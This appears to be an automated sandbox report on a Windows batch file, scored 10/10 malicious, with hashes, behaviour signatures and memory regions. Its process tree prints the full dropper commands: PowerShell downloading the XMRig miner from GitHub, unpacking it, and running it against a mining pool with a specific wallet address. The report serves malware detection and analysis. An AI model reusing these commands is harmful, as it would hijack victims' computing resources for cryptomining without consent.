Analysis

  • max time kernel
    1796s
  • max time network
    1815s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 08:52

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4328
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2332

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6cb519c49165c483c8ec194b65531e07

    SHA1

    585f88607a68326f07328849633d3e6d368940e6

    SHA256

    a1d52194d7a0ddc4b9d033f5c851850dbe292f05519acb078498b9f95d53700b

    SHA512

    971772552975cc85a5c51b01f92b6e87ce50664c66b06313891d985f0a4ac28cf5fc342774e4d3c4f1da557297af4b0c8bf804d01116949cef04254cc683ae2e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kb153juo.xap.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    73KB

    MD5

    8e801eba578a1dd4d0d9fcd5e4347678

    SHA1

    80978ca0c92cf04226a8f184561b04098996681a

    SHA256

    cfa0ccf0bdec2e0591f58db6b0093e037d55a644c93749d537e3d5c7123fec08

    SHA512

    40acc4aa32f427de7731793c6dcd2a705d2e90d54c6c428881ea1d552c59d5099f4ad28b73c9ed97d787a7fd59b1f2c5dfe840b07941ede65b12756d99ed7897

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    50KB

    MD5

    679fb21d09d160ac9205845ca164de6a

    SHA1

    abb8556bbcd66a0e8457242a0ae017c10f113df1

    SHA256

    d36bac2b758b57b2d58acef0f79a1ef2bbef8139e2792c5c2c11c971f6fea85a

    SHA512

    302eea2e54f52307b0d2966a0a54e5ce85ca40dc352ef3be9ea35f554687a9fa8f6afa519f2ae0fbc95278e539e35e2b55a45bcef4664d094c5c708d9359ae62

  • memory/220-4-0x0000027868870000-0x0000027868892000-memory.dmp

    Filesize

    136KB

  • memory/220-5-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/220-7-0x00000278688A0000-0x00000278688B0000-memory.dmp

    Filesize

    64KB

  • memory/220-6-0x00000278688A0000-0x00000278688B0000-memory.dmp

    Filesize

    64KB

  • memory/220-10-0x0000027868A30000-0x0000027868AA6000-memory.dmp

    Filesize

    472KB

  • memory/220-25-0x00000278688A0000-0x00000278688B0000-memory.dmp

    Filesize

    64KB

  • memory/220-30-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/2332-141-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-146-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-184-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-183-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-182-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-181-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-180-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-116-0x0000021A59C80000-0x0000021A59CA0000-memory.dmp

    Filesize

    128KB

  • memory/2332-117-0x0000021A59DD0000-0x0000021A59E10000-memory.dmp

    Filesize

    256KB

  • memory/2332-118-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-120-0x0000021A5B6E0000-0x0000021A5B700000-memory.dmp

    Filesize

    128KB

  • memory/2332-119-0x0000021A5B6C0000-0x0000021A5B6E0000-memory.dmp

    Filesize

    128KB

  • memory/2332-121-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-122-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-123-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-125-0x0000021A5B6E0000-0x0000021A5B700000-memory.dmp

    Filesize

    128KB

  • memory/2332-124-0x0000021A5B6C0000-0x0000021A5B6E0000-memory.dmp

    Filesize

    128KB

  • memory/2332-126-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-127-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-128-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-129-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-130-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-131-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-132-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-133-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-134-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-135-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-136-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-137-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-138-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-139-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-140-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-179-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-142-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-143-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-144-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-145-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-178-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-147-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-148-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-149-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-150-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-151-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-152-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-153-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-154-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-155-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-156-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-157-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-158-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-159-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-160-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-161-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-162-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-163-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-164-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-165-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-166-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-167-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-168-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-169-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-170-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-171-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-172-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-173-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-174-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-175-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-176-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/2332-177-0x00007FF7C1A70000-0x00007FF7C2573000-memory.dmp

    Filesize

    11.0MB

  • memory/4328-37-0x000001097E630000-0x000001097E640000-memory.dmp

    Filesize

    64KB

  • memory/4328-36-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4328-39-0x000001097E630000-0x000001097E640000-memory.dmp

    Filesize

    64KB

  • memory/4328-113-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4328-76-0x000001097E780000-0x000001097E792000-memory.dmp

    Filesize

    72KB

  • memory/4328-89-0x000001097E600000-0x000001097E60A000-memory.dmp

    Filesize

    40KB

  • memory/4328-62-0x000001097E630000-0x000001097E640000-memory.dmp

    Filesize

    64KB